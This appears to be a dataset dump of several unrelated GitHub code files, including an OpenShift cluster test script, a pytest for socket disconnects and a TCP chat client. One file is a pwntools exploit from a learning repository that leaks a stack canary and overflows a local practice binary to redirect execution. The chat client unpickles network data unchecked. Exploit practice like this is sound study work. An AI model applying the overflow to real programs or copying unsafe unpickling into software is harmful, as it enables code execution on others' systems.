ipv4 = args.ipv4 and args.ipv4.lower() in MachineNetwork.YES_VALUES\n ipv6 = args.ipv6 and args.ipv6.lower() in MachineNetwork.YES_VALUES\n ntp_source = _get_host_ip_from_cidr(args.vm_network_cidr6 if ipv6 and not ipv4 else args.vm_network_cidr)\n user_managed_networking = is_user_managed_networking()\n http_proxy, https_proxy, no_proxy = _get_http_proxy_params(ipv4=ipv4, ipv6=ipv6)\n params = {\n \"openshift_version\": utils.get_openshift_version(),\n \"base_dns_domain\": args.base_dns_domain,\n \"cluster_network_cidr\": args.cluster_network if ipv4 else args.cluster_network6,\n \"cluster_network_host_prefix\": args.host_prefix if ipv4 else args.host_prefix6,\n \"service_network_cidr\": args.service_network if ipv4 else args.service_network6,\n \"pull_secret\": args.pull_secret,\n \"http_proxy\": http_proxy,\n \"https_proxy\": https_proxy,\n \"no_proxy\": no_proxy,\n \"vip_dhcp_allocation\": bool(args.vip_dhcp_allocation) and not user_managed_networking,\n \"additional_ntp_source\": ntp_source,\n \"user_managed_networking\": user_managed_networking,\n \"high_availability_mode\": \"None\" if args.master_count == 1 else \"Full\"\n }\n return params\n\n\n# convert params from args to terraform tfvars\ndef _create_node_details(cluster_name):\n return {\n \"libvirt_worker_memory\": args.worker_memory,\n \"libvirt_master_memory\": args.master_memory if not args.master_count == 1 else args.master_memory * 2,\n \"worker_count\": args.number_of_workers,\n \"cluster_name\": cluster_name,\n \"cluster_domain\": args.base_dns_domain,\n \"libvirt_network_name\": consts.TEST_NETWORK + args.namespace,\n \"libvirt_network_mtu\": args.network_mtu,\n \"libvirt_network_if\": args.network_bridge,\n \"libvirt_worker_disk\": args.worker_disk,\n \"libvirt_master_disk\": args.master_disk,\n \"libvirt_secondary_network_name\": consts.TEST_SECONDARY_NETWORK + args.namespace,\n \"libvirt_secondary_network_if\": f's{args.network_bridge}',\n \"bootstrap_in_place\": args.master_count == 1,\n }\n\n\ndef _get_provisioning_cidr(cidr, ns_index):\n provisioning_cidr = IPNetwork(cidr)\n provisioning_cidr += ns_index + consts.NAMESPACE_POOL_SIZE\n return str(provisioning_cidr)\n\n\ndef _get_provisioning_cidr6(cidr, ns_index):\n provisioning_cidr = IPNetwork(cidr)\n provisioning_cidr += ns_index\n for _ in range(4):\n provisioning_cidr += (1 << 63)\n return str(provisioning_cidr)\n\n\ndef validate_dns(client, cluster_id):\n if not args.managed_dns_domains:\n # 'set_dns' (using dnsmasq) is invoked after nodes_flow\n return\n\n cluster = client.cluster_get(cluster_id)\n api_address = \"api.{}.{}\".format(cluster.name, cluster.base_dns_domain)\n ingress_address = \"ingress.apps.{}.{}\".format(cluster.name, cluster.base_dns_domain)\n log.info(\n \"Validating resolvability of the following domains: %s -> %s, %s -> %s\",\n api_address,\n cluster.api_vip,\n ingress_address,\n cluster.ingress_vip,\n )\n try:\n api_answers = dns.resolver.query(api_address, \"A\")\n ingress_answers = dns.resolver.query(ingress_address, \"A\")\n api_vip = str(api_answers[0])\n ingress_vip = str(ingress_answers[0])\n\n if api_vip != cluster.api_vip or ingress_vip != cluster.ingress_vip:\n raise Exception(\"DNS domains are not resolvable\")\n\n log.info(\"DNS domains are resolvable\")\n except Exception as e:\n log.error(\"Failed to resolve DNS domains\")\n raise e\n\n\n# Create vms from downloaded iso that will connect to assisted-service and register\n# If install cluster is set , it will run install cluster command and wait till all nodes will be in installing status\ndef nodes_flow(client, cluster_name, cluster):\n tf_folder = utils.get_tf_folder(cluster_name, args.namespace)\n nodes_details = utils.get_tfvars(tf_folder)\n if cluster:\n nodes_details[\"cluster_inventory_id\"] = cluster.id\n utils.set_tfvars(tf_folder, nodes_details)\n\n tf = terraform_utils.TerraformUtils(working_dir=tf_folder)\n machine_net = MachineNetwork(args.ipv4, args.ipv6, args.vm_network_cidr, args.vm_network_cidr6, args.ns_index)\n\n create_nodes_and_wait_till_registered(\n inventory_client=client,\n cluster=cluster,\n nodes_details=nodes_details,\n tf=tf\n )\n\n if client:\n cluster_info = client.cluster_get(cluster.id)\n macs = utils.get_libvirt_nodes_macs(nodes_details[\"libvirt_network_name\"])\n\n if not (cluster_info.api_vip and cluster_info.ingress_vip):\n utils.wait_till_hosts_with_macs_are_in_status(\n client=client,\n cluster_id=cluster.id,\n macs=macs,\n statuses=[\n consts.NodesStatus.INSUFFICIENT,\n consts.NodesStatus.PENDING_FOR_INPUT,\n consts.NodesStatus.KNOWN\n ],\n )\n\n if args.master_count == 1:\n is_ip4 = machine_net.has_ip_v4 or not machine_net.has_ip_v6\n cidr = args.vm_network_cidr if is_ip4 else args.vm_network_cidr6\n tf.change_variables({\"single_node_ip\": helper_cluster.Cluster.get_ip_for_single_node(client, cluster.id, cidr, ipv4_first=is_ip4)})\n elif args.vip_dhcp_allocation:\n set_cluster_machine_cidr(client, cluster.id, machine_net)\n else:\n set_cluster_vips(client, cluster.id, machine_net)\n else:\n log.info(\"VIPs already configured\")\n\n set_hosts_roles(client, cluster, nodes_details, machine_net, tf, args.master_count, args.with_static_ips)\n\n utils.wait_till_hosts_with_macs_are_in_status(\n client=client,\n cluster_id=cluster.id,\n macs=macs,\n statuses=[consts.NodesStatus.KNOWN],\n )\n\n if args.install_cluster:\n time.sleep(10)\n install_cluster.run_install_flow(\n client=client,\n cluster_id=cluster.id,\n kubeconfig_path=consts.DEFAULT_CLUSTER_KUBECONFIG_PATH,\n pull_secret=args.pull_secret,\n tf=tf\n )\n # Validate DNS domains resolvability\n validate_dns(client, cluster.id)\n if args.wait_for_cvo:\n cluster_info = client.cluster_get(cluster.id)\n log.info(\"Start waiting till CVO status is available\")\n api_vip = helper_cluster.get_api_vip_from_cluster(client, cluster_info)\n config_etc_hosts(cluster_info.name, cluster_info.base_dns_domain, api_vip)\n utils.wait_for_cvo_available()\n\n\ndef set_hosts_roles(client, cluster, nodes_details, machine_net, tf, master_count, static_ip_mode):\n\n networks_names = (\n nodes_details[\"libvirt_network_name\"],\n nodes_details[\"libvirt_secondary_network_name\"]\n )\n\n # don't set roles in bip role\n if machine_net.has_ip_v4:\n libvirt_nodes = utils.get_libvirt_nodes_mac_role_ip_and_name(networks_names[0])\n libvirt_nodes.update(utils.get_libvirt_nodes_mac_role_ip_and_name(networks_names[1]))\n if static_ip_mode:\n log.info(\"Setting hostnames when running in static ips mode\")\n update_hostnames = True\n else:\n update_hostnames = False\n else:\n log.warning(\"Work around libvirt for Terrafrom not setting hostnames of IPv6-only hosts\")\n libvirt_nodes = utils.get_libvirt_nodes_from_tf_state(networks_names, tf.get_state())\n update_hostnames = True\n\n utils.update_hosts(client, cluster.id, libvirt_nodes, update_hostnames=update_hostnames,\n update_roles=master_count > 1)\n\n\ndef execute_day1_flow(cluster_name):\n client = None\n cluster = {}\n if args.managed_dns_domains:\n args.base_dns_domain = args.managed_dns_domains.split(\":\")[0]\n\n if not args.vm_network_cidr:\n net_cidr = IPNetwork('192.168.126.0/24')\n net_cidr += args.ns_index\n args.vm_network_cidr = str(net_cidr)\n\n if not args.vm_network_cidr6:\n net_cidr = IPNetwork('1001:db8::/120')\n net_cidr += args.ns_index\n args.vm_network_cidr6 = str(net_cidr)\n\n if not args.network_bridge:\n args.network_bridge = f'tt{args.ns_index}'\n\n set_tf_config(cluster_name)\n image_path = None\n image_type = args.iso_image_type\n\n if not args.image:\n utils.recreate_folder(consts.IMAGE_FOLDER, force_recreate=False)\n client = assisted_service_api.create_client(\n url=utils.get_assisted_service_url_by_args(args=args)\n )\n if args.cluster_id:\n cluster = client.cluster_get(cluster_id=args.cluster_id)\n else:\n\n cluster = client.create_cluster(\n cluster_name,\n ssh_public_key=args.ssh_key, **_cluster_create_params()\n )\n\n image_path = os.path.join(\n consts.IMAGE_FOLDER,\n f'{args.namespace}-installer-image.iso'\n )\n\n if args.with_static_ips:\n tf_folder = utils.get_tf_folder(cluster_name, args.namespace)\n static_ips_config = static_ips.generate_static_ips_data_from_tf(tf_folder)\n else:\n static_ips_config = None\n\n client.generate_and_download_image(\n cluster_id=cluster.id,\n image_path=image_path,\n image_type=image_type,\n ssh_key=args.ssh_key,\n static_ips=static_ips_config,\n )\n\n # Iso only, cluster will be up and iso downloaded but vm will not be created\n if not args.iso_only:\n try:\n nodes_flow(client, cluster_name, cluster)\n finally:\n if not image_path or args.keep_iso:\n return\n log.info('deleting iso: %s', image_path)\n os.unlink(image_path)\n\n return cluster.id\n\n\ndef is_user_managed_networking():\n return is_none_platform_mode() or args.master_count == 1\n\n\ndef is_none_platform_mode():\n return args.platform.lower() == consts.Platforms.NONE\n\n\ndef main():\n cluster_name = f'{args.cluster_name or consts.CLUSTER_PREFIX}-{args.namespace}'\n log.info('Cluster name: %s', cluster_name)\n\n cluster_id = args.cluster_id\n if args.day1_cluster:\n cluster_id = execute_day1_flow(cluster_name)\n\n # None platform currently not supporting day2\n if is_none_platform_mode():\n return\n\n has_ipv4 = args.ipv4 and args.ipv4.lower() in MachineNetwork.YES_VALUES\n if args.day2_cloud_cluster:\n day2.execute_day2_cloud_flow(cluster_id, args, has_ipv4)\n if args.day2_ocp_cluster:\n day2.execute_day2_ocp_flow(cluster_id, args, has_ipv4)\n if args.bootstrap_in_place:\n ibip.execute_ibip_flow(args)\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description=\"Run discovery flow\")\n parser.add_argument(\n \"-i\", \"--image\", help=\"Run terraform with given image\", type=str, default=\"\"\n )\n parser.add_argument(\n \"-n\", \"--master-count\", help=\"Masters count to spawn\", type=int, default=3\n )\n parser.add_argument(\n \"-p\",\n \"--storage-path\",\n help=\"Path to storage pool\",\n type=str,\n default=consts.STORAGE_PATH,\n )\n parser.add_argument(\n \"-si\", \"--skip-inventory\", help=\"Node count to spawn\", action=\"store_true\"\n )\n parser.add_argument(\"-k\", \"--ssh-key\", help=\"Path to ssh key\", type=str, default=\"\")\n parser.add_argument(\n \"-md\",\n \"--master-disk\",\n help=\"Master disk size in b\",\n type=int,\n default=21474836480,\n )\n parser.add_argument(\n \"-wd\",\n \"--worker-disk\",\n help=\"Worker disk size in b\",\n type=int,\n default=21474836480,\n )\n parser.add_argument(\n \"-mm\",\n \"--master-memory\",\n help=\"Master memory (ram) in mb\",\n type=int,\n default=8192,\n )\n parser.add_argument(\n \"-wm\",\n \"--worker-memory\",\n help=\"Worker memory (ram) in mb\",\n type=int,\n default=8192,\n )\n parser.add_argument(\n \"-nw\", \"--number-of-workers\", help=\"Workers count to spawn\", type=int, default=0\n )\n parser.add_argument(\n \"-ndw\", \"--number-of-day2-workers\", help=\"Workers count to spawn\", type=int, default=0\n )\n parser.add_argument(\n \"-cn\",\n \"--cluster-network\",\n help=\"Cluster network with cidr\",\n type=str,\n default=\"10.128.0.0/14\",\n )\n parser.add_argument(\n \"-cn6\",\n \"--cluster-network6\",\n help=\"Cluster network with cidr\",\n type=str,\n default=\"2002:db8::/53\",\n )\n parser.add_argument(\n \"-hp\", \"--host-prefix\", help=\"Host prefix to use\", type=int, default=23\n )\n parser.add_argument(\n \"-hp6\", \"--host-prefix6\", help=\"Host prefix to use\", type=int, default=64\n )\n parser.add_argument(\n \"-sn\",\n \"--service-network\",\n help=\"Network for services\",\n type=str,\n default=\"172.30.0.0/16\",\n )\n parser.add_argument(\n \"-sn6\",\n \"--service-network6\",\n help=\"Network for services\",\n type=str,\n default=\"2003:db8::/112\",\n )\n parser.add_argument(\n \"-ps\", \"--pull-secret\", help=\"Pull secret\", type=str, default=\"\"\n )\n parser.add_argument(\n \"--with-static-ips\",\n help=\"Static ips mode\",\n action=\"store_true\",\n )\n parser.add_argument(\n \"--iso-image-type\",\n help=\"ISO image type (full-iso/minimal-iso)\",\n type=str,\n default=consts.ImageType.FULL_ISO,\n )\n parser.add_argument(\n \"-bd\",\n \"--base-dns-domain\",\n help=\"Base dns domain\",\n type=str,\n default=\"redhat.com\",\n )\n parser.add_argument(\n \"-mD\",\n \"--managed-dns-domains\",\n help=\"DNS domains that are managaed by assisted-service, format: domain_name:domain_id/provider_type.\",\n type=str,\n default=\"\",\n )\n parser.add_argument(\n \"-cN\", \"--cluster-name\", help=\"Cluster name\", type=str, default=\"\"\n )\n parser.add_argument(\n \"-vN\",\n \"--vm-network-cidr\",\n help=\"Vm network cidr for IPv4\",\n type=str,\n default='192.168.126.0/24'\n )\n parser.add_argument(\n \"-vN6\",\n \"--vm-network-cidr6\",\n help=\"Vm network cidr for IPv6\",\n type=str,\n default='1001:db8::/120'\n )\n parser.add_argument(\n \"-nM\", \"--network-mtu\", help=\"Network MTU\", type=int, default=1500\n )\n parser.add_argument(\n \"-in\",\n \"--install-cluster\",\n help=\"Install cluster, will take latest id\",\n action=\"store_true\",\n )\n parser.add_argument(\n \"-cvo\",\n \"--wait-for-cvo\",\n help=\"Wait for CVO available after cluster installation\",\n action=\"store_true\",\n )\n parser.add_argument(\n '-nB',\n '--network-bridge',\n help='Network bridge to use',\n type=str,\n required=False\n )\n parser.add_argument(\n \"-iO\",\n \"--iso-only\",\n help=\"Create cluster and download iso, no need to spawn cluster\",\n action=\"store_true\",\n )\n parser.add_argument(\n \"-pX\",\n \"--http-proxy\",\n help=\"A proxy URL to use for creating HTTP connections outside the cluster\",\n type=str,\n default=\"\",\n )\n parser.add_argument(\n \"-sX\",\n \"--https-proxy\",\n help=\"A proxy URL to use for creating HTTPS connections outside the cluster\",\n type=str,\n default=\"\",\n )\n parser.add_argument(\n \"-nX\",\n \"--no-proxy\",\n help=\"A comma-separated list of destination domain names, domains, IP addresses, \"\n \"or other network CIDRs to exclude proxyin\",\n type=str,\n default=\"\",\n )\n parser.add_argument(\n \"-iU\",\n \"--inventory-url\",\n help=\"Full url of remote inventory\",\n type=str,\n default=\"\",\n )\n parser.add_argument(\n \"-ns\",\n \"--namespace\",\n help=\"Namespace to use\",\n type=str,\n default=\"assisted-installer\",\n )\n parser.add_argument(\n \"-id\", \"--cluster-id\", help=\"Cluster id to install\", type=str, default=None\n )\n parser.add_argument(\n '--service-name',\n help='Override assisted-service target service name',\n type=str,\n default='assisted-service'\n )\n parser.add_argument(\n \"--vip-dhcp-allocation\",\n type=distutils.util.strtobool,\n nargs='?',\n const=True,\n default=True,\n help=\"VIP DHCP allocation mode\"\n )\n parser.add_argument(\n '--ns-index',\n help='Namespace index',\n type=int,\n required=True\n )\n parser.add_argument(\n '--profile',\n help='Minikube profile for assisted-installer deployment',\n type=str,\n default='assisted-installer'\n )\n parser.add_argument(\n '--keep-iso',\n help='If set, do not delete generated iso at the end of discovery',\n action='store_true',\n default=False\n )\n parser.add_argument(\n \"--day2-cloud-cluster\",\n help=\"day2 cloud cluster\",\n action=\"store_true\",\n )\n parser.add_argument(\n \"--day2-ocp-cluster\",\n help=\"day2 ocp cluster\",\n action=\"store_true\",\n )\n parser.add_argument(\n \"--day1-cluster\",\n help=\"day1 cluster\",\n action=\"store_true\",\n )\n parser.add_argument(\n \"-avd\", \"--api-vip-dnsname\",\n help=\"api vip dns name\",\n type=str\n )\n parser.add_argument(\n \"-avi\", \"--api-vip-ip\",\n help=\"api vip ip\",\n type=str\n )\n parser.add_argument(\n '--deploy-target',\n help='Where assisted-service is deployed',\n type=str,\n default='minikube'\n )\n parser.add_argument(\n \"--ipv4\",\n help='Should IPv4 be installed',\n type=str,\n default='yes'\n )\n parser.add_argument(\n \"--ipv6\",\n help='Should IPv6 be installed',\n type=str,\n default=''\n )\n parser.add_argument(\n '--platform',\n help='VMs platform mode (\\'baremetal\\' or \\'none\\')',\n type=str,\n default='baremetal'\n )\n parser.add_argument(\n \"--bootstrap-in-place\",\n help=\"single node cluster with bootstrap in place flow\",\n action=\"store_true\",\n )\n parser.add_argument(\n \"--proxy\",\n help=\"use http proxy with default values\",\n type=distutils.util.strtobool,\n nargs='?',\n const=True,\n default=False,\n )\n\n oc_utils.extend_parser_with_oc_arguments(parser)\n args = parser.parse_args()\n if not args.pull_secret:\n raise Exception(\"Can't install cluster without pull secret, please provide one\")\n\n try:\n json.loads(args.pull_secret)\n except json.JSONDecodeError as e:\n raise ValueError(\"Invalid pull secret\") from e\n\n if args.master_count == 1:\n log.info(\"Master count is 1, setting workers to 0\")\n args.number_of_workers = 0\n\n main()\n","repo_name":"omertuc/assisted-test-infra","sub_path":"discovery-infra/start_discovery.py","file_name":"start_discovery.py","file_ext":"py","file_size_in_byte":29478,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"62"} +{"seq_id":"15609872638","text":"#!/usr/bin/env python\n#\n# Test that double-closing a device socket doesn't\n# crash domnet\n# (https://github.com/WIPACrepo/fh_server/issues/159)\n#\n\nimport sys\nimport os\nimport time\nimport socket\nimport subprocess\nimport pytest\n\n# Fix up import path automatically\nsys.path.append(os.path.join(os.path.dirname(__file__), \"../scripts\"))\nfrom icmnet import ICMNet\n\nfrom icm_tester import ICMSimTester\n\nTEST_CMDPORT = 9876\n\n@pytest.fixture\ndef icmTestFixture():\n # Before test - create resource\n icmTester = ICMSimTester(TEST_CMDPORT, devsocks=False)\n yield icmTester\n # After test - remove resource\n icmTester.finish()\n \ndef test_double_close(icmTestFixture):\n\n # Create the ZMQ helper class\n icm = ICMNet(TEST_CMDPORT)\n \n # Check that we have devices\n reply = icm.request(\"devlist\")\n assert reply[\"value\"] == [2, 4, 6, 8]\n\n # Check that we can connect to a device port\n dev = 2\n devport = TEST_CMDPORT-1000+dev\n devhost = \"localhost\"\n devsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n devsock.settimeout(1)\n devsock.connect((devhost, devport))\n\n # Check for simulator echo\n msg = \"This is a test of the emergency broadcasting system.\".encode('utf-8')\n devsock.send(msg)\n\n chunks = []\n bytes_recd = 0\n while bytes_recd < len(msg):\n chunk = devsock.recv(min(len(msg) - bytes_recd, 2048))\n assert chunk != b''\n chunks.append(chunk)\n bytes_recd = bytes_recd + len(chunk)\n\n msg_recd = b''.join(chunks)\n assert msg == msg_recd\n\n # Now close the socket with the command\n reply = icm.request(\"disconnect %d\" % dev)\n assert reply[\"status\"] == \"OK\"\n \n # Check that it closed\n devsock.send(msg)\n chunk = devsock.recv(1) \n assert chunk == b''\n\n devsock.close()\n time.sleep(0.5)\n \n # Now close it again\n reply = icm.request(\"disconnect %d\" % dev)\n # This will return \"?NOREPLY\" if domnet died\n # This doesn't actually die even with the bug\n # Maybe because file handle doesn't go away?\n # Couldn't replicate with subprocess, threading, system call\n assert reply[\"status\"] == \"OK\"\n\n # Try again by running helper script\n dev = 4\n devport = TEST_CMDPORT-1000+dev\n devsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n devsock.settimeout(1) \n devsock.connect((devhost, devport))\n\n script = os.path.join(os.path.dirname(__file__), \"../scripts\", \"socket_disconnect.py\")\n p = subprocess.run(\"%s -p %d -w %d\" % (script, TEST_CMDPORT, dev), shell=True, capture_output=True)\n assert p.stdout == b'4: OK\\n'\n\n p = subprocess.run(\"%s -p %d -w %d\" % (script, TEST_CMDPORT, dev), shell=True, capture_output=True)\n assert p.stdout == b'4: OK\\n'\n \n","repo_name":"toyoyama6/degg_scan","sub_path":"software/fh_server/test/test_double_close.py","file_name":"test_double_close.py","file_ext":"py","file_size_in_byte":2746,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"74813266436","text":"def primepartition(num):\n\tls=[]\n\tfor i in range(2,num+1):\n\t\tcount=0\n\t\tfor j in range(1,i+1):\n\t\t\tif i%j==0:\n\t\t\t\tcount=count+1\n\t\tif count==2:\n\t\t\tls.append(i)\n\tprint(ls)\n\tfor k in ls:\n\t\tb=num-k\n\t\tif b in ls:\n\t\t\treturn True\n\treturn False\nprint(primepartition(3432))","repo_name":"tyagivipul629/python1","sub_path":"primepartition.py","file_name":"primepartition.py","file_ext":"py","file_size_in_byte":261,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"15705542422","text":"\"\"\"Form definitions, allow easy validation of input and rendering of forms\n\"\"\"\n# future imports\nfrom __future__ import absolute_import\n\n# third-party imports\nfrom wtforms import FileField\nfrom wtforms import StringField\nfrom wtforms import TextAreaField\nfrom wtforms import validators\n\n# local imports\nfrom app.forms.base import SerialiserForm\nfrom app.forms.utils.serialisers import ModelSerialiser\nfrom app.forms.utils.validators import validate_image_format\nfrom app.forms.utils.validators import validate_image_size\nfrom app.models.images import Image\n\n\nclass ImageForm(SerialiserForm):\n\n image = FileField(\n 'Image',\n validators=[\n validators.Optional(),\n validate_image_format\n ],\n )\n thumbnail_image = FileField(\n 'Image (420 x 330)',\n validators=[\n validators.Optional(),\n validate_image_format,\n validate_image_size(420, 330)\n ],\n )\n title = StringField(\n 'Title',\n validators=[\n validators.DataRequired(),\n ],\n )\n description = TextAreaField('Description')\n\n class Serializer(ModelSerialiser):\n model = Image\n list_fields = [\n ('thumbnail_image_bucket_url', {\n 'label': 'Thumbnail',\n 'type': 'image',\n }),\n ('title', {\n 'label': 'Title'\n }),\n ('image_filename', {\n 'label': 'Image',\n 'type': 'link',\n 'link_property': 'image_bucket_url',\n }),\n ('order', {\n 'label': 'Order',\n 'type': 'ordering',\n }),\n ]\n","repo_name":"mjmcconnell/sra","sub_path":"src-server/app/forms/images.py","file_name":"images.py","file_ext":"py","file_size_in_byte":1696,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"25680304431","text":"#linefirst= input('Введите первую строку: ')\r\n#linesecond = input('Введите вторую строку: ')\r\n\r\nlinefirst = 'gigroigjroijg'\r\nlinesecond = 5\r\ndef string_compare(line1, line2):\r\n if isinstance(line1, str) and isinstance(line2, str) != True:\r\n return 0\r\n elif line1 == line2:\r\n return 1\r\n elif line1 != line2 and len(line1) > len(line2):\r\n return 2\r\n elif line1 != line2 and line2 == 'learn':\r\n return 3\r\n\r\nprint(string_compare(linefirst, linesecond))","repo_name":"RomanOrin/lesson2","sub_path":"if-operator2.py","file_name":"if-operator2.py","file_ext":"py","file_size_in_byte":526,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"16213285301","text":"import socket\nimport pickle\nfrom _thread import *\nimport threading\nfrom time import time, ctime\n\nuser_name_msg = {}\nuser_name_msg1 = {}\n\nclass TCPClientHandler(object):\n def __init__(self, client):\n self.client = client\n\n def printMenu(self):\n print(\"****** TCP Message App ******\")\n print(\"-----------------------\")\n print(\"Options Available: \")\n print(\"1. Get user list\")\n print(\"2. Sent a message\")\n print(\"3. Get my messages\")\n print(\"4. Create a new channel\")\n print(\"5. Chat in a channel with your friends\")\n print(\"6. Diconnect from server\")\n # above you need to implement all the menu\n\n def getUserListFromServer(self, sock):\n sock.send(pickle.dumps({'option': \"1\", 'userId': \"None\", 'msgs': \"None\"}))\n userList = sock.recv(4096)\n print(pickle.loads(userList))\n return 0\n\n def sendmessagetouser(self, sock, date, clientName):\n msg = input(\"Your message: \")\n otheruserId = input(\"userID recipent: \")\n msg += (\" \" + \" (from: \"+clientName+\")\" + str(date))\n listMsg = {'option': \"2\", 'userId': otheruserId, 'msgs': msg}\n #print(listMsg)\n sock.send(pickle.dumps(listMsg))\n print(\"Message sent!\")\n return 0\n\n def getmessagefromserver(self, sock):\n getMsgs = {'option': \"3\", 'userId': \"12345\", 'msgs': \"NotAMessage\"}\n sock.send(pickle.dumps(getMsgs))\n msg = sock.recv(4096)\n print(\"My Message:\")\n myMsgs = pickle.loads(msg)\n print(*myMsgs, sep=\"\\n\")\n return 0\n\n def createnewchannel(self, socket, host, port, client_name):\n #socket.listen(100)\n print(\"Channel Info:\")\n print(\"IP Address: \" + host)\n print(\"Channel Clientid:\" + str(port))\n print(\"Waiting for users....\")\n client_sock, addr = socket.accept()\n print(\"UserId \" + str(addr[1])+\"connected to the channel\")\n print(\"Enter Bye to exit the channel\")\n #client_sock.connect((host, port))\n while True:\n try:\n userMeg = client_sock.recv(4096)\n userMeg_decode = pickle.loads(userMeg)\n for x, y in userMeg_decode.items():\n print(x+\": \" + y)\n user_input = input(str(client_name) + \": \")\n user_input = str(user_input)\n user_name_msg[client_name] = user_input\n if \"bye\" in user_input:\n print(\"You have disconnect server\")\n break\n user_encode = pickle.dumps(user_name_msg)\n client_sock.send(user_encode)\n except:\n print(\"Client Disconnected!\")\n break\n\n def p2pconnect(self, client_name):\n connectHost = input(\"Enter the ip address of the channel you would like to connect:\")\n connectPort = input(\"Enter the channel port: \")\n connectPort = int(connectPort)\n client_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n client_sock.connect((connectHost, connectPort))\n print(\"Successfully connected to the channel \" + str(connectPort))\n print(\"Enter 'Bye' to close the chat.\")\n while True:\n try:\n client_in = input(str(client_name) + \": \")\n client_in = str(client_in)\n user_name_msg1[client_name] = client_in\n if \"bye\" in client_in:\n print(\"You have disconnect server\")\n break\n client_encode = pickle.dumps(user_name_msg1)\n client_sock.send(client_encode)\n client_income_message = client_sock.recv(4096)\n client_income_message_decode = pickle.loads(client_income_message)\n if \"bye\" in client_income_message_decode:\n print(\"Other user disconnect channel\")\n break\n for x, y in client_income_message_decode.items():\n print(x+\": \" + y)\n except:\n print(\"Other user exit channel\")\n break\n\n def disconnectserver(self, sock, user_id):\n getSock = {'option': \"6\", 'userid': user_id, 'usersock': sock}\n getSock = pickle.dumps(str(getSock))\n sock.send(getSock)\n while True:\n data_from_user = sock.recv(4096)\n data_from_user = pickle.loads(data_from_user)\n data_from_user[0].close()\n if data_from_user[0].close():\n del data_from_user[0]\n print(\"User\"+data_from_user[1]+\"has Disconnected\")\n else:\n print(\"disconnect failed\")","repo_name":"sfsu-joseo/csc645-01-fall2019-projects-thomasyyyu","sub_path":"applications/tcp-message-app/tcpclienthandler.py","file_name":"tcpclienthandler.py","file_ext":"py","file_size_in_byte":4690,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"27684612831","text":"#!/bin/python3\nfrom pwn import *\n\ncanaryOffset = 0x30 - 0x10\nwinOffset = 0x6c - 0x5c # $ebp - $(end of canary addr)\n\n\ndef leakCanary():\n\tp = process('./pwn')\n\n\tp.sendline(f\"{canaryOffset}\".encode())\n\n\tp.recvuntil(b'name? \\n')\n\tp.send(b\"A\"*canaryOffset)\n\n\tp.recvuntil(f'name is {\"A\"*canaryOffset}'.encode())\n\n\tcanary = p.recv().rstrip()[:8]\n\n\treturn canary\n\ncanary = leakCanary()\nlog.info(f'Got canary: {canary}')\np = process('./pwn')\ne = ELF('./pwn')\n\npayload = b''\npayload += b'A'*canaryOffset\npayload += canary\npayload += b'B'*winOffset\npayload += p32(e.sym['tweet_tweet'])\n\np.sendline(f'{len(payload)}'.encode())\np.sendline(payload)\np.interactive()","repo_name":"Adamkadaban/LearnPwn","sub_path":"7.Canary/1.Fake_Canary/exploit.py","file_name":"exploit.py","file_ext":"py","file_size_in_byte":651,"program_lang":"python","lang":"en","doc_type":"code","stars":85,"dataset":"github-code","pt":"62"} +{"seq_id":"34632888140","text":"from __future__ import annotations\n\nfrom typing import Any, Iterator, Optional\n\nimport numpy as np\n\nfrom ..chunk_types import FloatArray, PType\nfrom ..exceptions import ValidationError\nfrom .boxes import Boxes\nfrom .single_box import SingleBox\n\n\ndef _is_2d(x: FloatArray) -> None:\n if x.ndim != 2:\n raise ValidationError(\"A frame boxes object must be a 2D array\")\n\n\nclass FrameBoxes(Boxes):\n \"\"\"\n 2D dense data arrays for boxes.\n\n It inherits from :class:`.Boxes`.\n The underlying NumPy array should have shape ``(n_boxes, 4)``.\n\n Parameters\n ----------\n data : FloatArray\n A numpy array of dense floats\n ptype : PType\n The parameterization of the dense data\n image_width : int, optional\n The width of the relevant image\n image_height : int, optional\n The height of the relevant image\n\n Example\n -------\n >>> import numpy as np\n >>> from sparrow_datums import FrameBoxes, PType\n >>> boxes = FrameBoxes(np.array([[0, 0, 1, 1]]))\n >>> for box in boxes: print(box)\n [0 0 1 1]\n \"\"\"\n\n empty_shape: tuple[int, int] = (0, 4)\n\n def validate(self) -> None:\n \"\"\"Check validity of boxes array.\"\"\"\n super().validate()\n _is_2d(self)\n\n def __iter__(self) -> Iterator[SingleBox]:\n \"\"\"Yield SingoeBox objects for each box.\"\"\"\n for box in self.view(Boxes):\n yield box.view(SingleBox)\n\n @classmethod\n def from_single_box(cls: type[\"FrameBoxes\"], box: SingleBox) -> \"FrameBoxes\":\n \"\"\"Create a FrameBoxes object from a SingleBox.\"\"\"\n return cls(\n box.array[None, :],\n ptype=box.ptype,\n **box.metadata_kwargs,\n )\n\n @classmethod\n def from_single_boxes(\n cls: type[\"FrameBoxes\"],\n boxes: list[SingleBox],\n ptype: PType = PType.unknown,\n image_width: Optional[int] = None,\n image_height: Optional[int] = None,\n **kwargs: dict[str, Any],\n ) -> \"FrameBoxes\":\n \"\"\"Create a FrameBoxes object from a list of SingleBox objects.\"\"\"\n return cls(\n np.stack([box.array for box in boxes]),\n ptype=ptype,\n image_width=image_width,\n image_height=image_height,\n )\n\n def add_box(self, box: SingleBox) -> \"FrameBoxes\":\n \"\"\"Concatenate a single box.\"\"\"\n if self.ptype != box.ptype:\n raise ValidationError(\n \"SingleBox with different PType cannot be concatenated\"\n )\n if self.metadata_kwargs != box.metadata_kwargs:\n raise ValidationError(\n \"SingleBox with different metadata cannot be concatenated\"\n )\n return FrameBoxes(\n np.concatenate([self.array, box.array[None]]),\n ptype=self.ptype,\n **self.metadata_kwargs,\n )\n\n def get_single_box(self, i: int) -> SingleBox:\n \"\"\"Get the ith element as a SingleBox.\"\"\"\n result: SingleBox = self.view(Boxes)[i].view(SingleBox)\n return 